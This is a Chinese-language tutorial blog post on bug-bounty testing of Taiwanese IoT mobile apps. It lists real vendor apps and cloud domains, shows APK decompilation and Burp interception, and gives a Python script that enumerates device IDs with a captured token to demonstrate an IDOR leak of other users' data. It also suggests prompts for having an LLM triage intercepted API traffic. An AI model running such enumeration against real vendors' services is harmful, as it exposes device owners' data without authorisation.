✍️ 寫在前面
前幾天我們聚焦在台灣 IoT 產業的韌體、雲端與伺服器面
今天的目標是把 Day 28 的廠商情報延伸成行動端維度,
並示範如何用 Burp Suite 攔截 IoT App 流量、抽出 API、製作 PoC 驗證漏洞。
IoT 應用雲端化後,每個 App 都會與雲端 API 交換指令,例如:
行為 | 對應 API |
---|---|
使用者登入 | /api/login |
裝置綁定 | /api/device/register |
狀態查詢 | /api/device/status |
遠端控制 | /api/device/command |
韌體更新 | /api/update |
只要這些 API 驗證不嚴謹、參數沒檢查,
紅隊就能發現漏洞、建立 PoC,進而通報廠商或參加獎金獵人活動。
類別 | App / 服務 | 功能摘要 | 廠商 / 來源 | 攻防觀察重點 |
---|---|---|---|---|
監控 DVR/NVR | 長景錄 Guarder | 遠端影像監看、警報推播 | 台灣 TWG 微凱 | 雲端 RTSP 認證、P2P 憑證驗證 |
攝影機 | VIVOTEK iViewer / AVTECH EagleEyes | IP Cam 控制 | 台灣晶睿 / 陞泰 | API 權限控制、版本更新驗簽 |
VPN | DrayTek SmartVPN | SSL VPN 客戶端 | 居易科技(台灣) | Token 綁定、明文傳輸 |
路由管理 | ASUS Router / EnGenius Cloud | 路由器與 AP 控制 | 華碩 / 恩碩 | WebSocket 驗證、雲控接口 |
穿戴 / 家用 | Garmin Connect / 全屋通 | 健康數據 / Mesh 管理 | Garmin / 中華電信 | App-Cloud Token、BLE 綁定 |
教育 IoT | Makeblock / micro:bit / Sphero | 機器人與學習裝置 | 中國 / 英國 / 美國 | 藍牙授權、雲端 MQTT topic |
國際監控 | DMSS (Dahua) | NVR/P2P 監控 App | 大陸大華科技 | 加密協定、推播 API |
👉 這些應用多半與伺服器 API 連線,例如:https://api.tw-guarder.com
, https://cloud.engenius.ai
, https://iot.asus.com
這些網域就是紅隊情報蒐集的起點。
1️⃣ APK 反編譯搜尋 API 端點
apktool d app.apk -o output
grep -Ri "http" output > api.txt
2️⃣ 確認通信方式
3️⃣ 分析認證模式
4️⃣ 比對廠商雲端主機
127.0.0.1:8080
登入封包:
POST https://api.smartcam.tw/v1/login
{
"username": "test@demo.com",
"password": "123456"
}
回應:
{
"status": "success",
"token": "eyJhbGciOiJIUzI1..."
}
之後的 API:
GET https://api.smartcam.tw/v1/device/list
Authorization: Bearer eyJhbGciOiJIUzI1...
Burp Repeater 重新送出並觀察結果,可開始做 API 攻擊測試。
在 Burp Repeater 中修改請求:
{"device_id": 123}
改成:
{"device_id": 124}
若回傳:
{"device_id":124,"owner":"userB","status":"active"}
🎯 恭喜找到 IDOR 漏洞 —— 伺服器未檢查 device_id
所屬權。
import httpx
API_URL = "https://api.smartcam.tw/v1/device/status"
TOKEN = "eyJhbGciOiJIUzI1..." # 從 Burp 拿到的 Token
headers = {"Authorization": f"Bearer {TOKEN}"}
for i in range(120, 130):
r = httpx.post(API_URL, json={"device_id": i}, headers=headers, timeout=5)
if "owner" in r.text:
print(f"[+] IDOR detected at device_id={i}")
print(r.text[:200])
輸出範例:
[+] IDOR detected at device_id=124
{"device_id":124,"owner":"userB","status":"active"}
這樣的結果即可作為通報報告的 PoC 證據。
類型 | 測試重點 | 可能結果 |
---|---|---|
未授權存取 | 嘗試空 Token | 可看到公共資料 |
IDOR | 修改 ID | 水平越權 |
Token 驗簽錯誤 | JWT 無驗簽 | 偽造權限 |
Debug API | /api/test /debug |
可直接存取管理接口 |
回應資訊洩漏 | 錯誤訊息含內部堆疊 | 洩漏伺服端結構 |
CORS 開放 | Access-Control-Allow-Origin: * |
跨站資料竊取 |
明文傳輸 | 未加密 API_KEY | 可重放攻擊 |
欄位 | 範例內容 |
---|---|
漏洞名稱 | IoT App API 水平越權(IDOR) |
影響端點 | /v1/device/status |
漏洞描述 | 修改 device_id 後可讀取他人設備資料 |
重現步驟 | 1. 登入 App 2. 攔截封包 3. 修改 JSON 4. 成功取得他人資料 |
風險等級 | 高 |
修補建議 | 在伺服端驗證 Token 與裝置 ID 綁定,強化授權檢查。 |
在獎金獵人準備階段,你可以把攔截到的 API 封包丟給 LLM:
請幫我分析以下 API 回應,列出可能的敏感欄位與可疑端點。
或:
根據這些端點,幫我預測潛在越權與明文傳輸風險。
讓模型先幫你篩選高風險端點,再人工驗證,大幅提高效率。
Day 28 我們談的是「不安全部署的伺服器」;
Day 29 我們看到「App 與 API 的攻防連結」。
從情報蒐集 → API 攔截 → PoC 驗證,這條路線正是最有價值的技術鏈。
階段 | 工具 | 目的 |
---|---|---|
IoT 廠商蒐集 | Shodan / httpx | 建立攻擊面 |
App 逆向 | apktool / jadx | 找出 API |
流量攔截 | Burp Suite | 攔截與重放封包 |
漏洞驗證 | Python + httpx | 自動化 PoC |
分析輔助 | LLM / Burp Repeater | 智能化風險篩選 |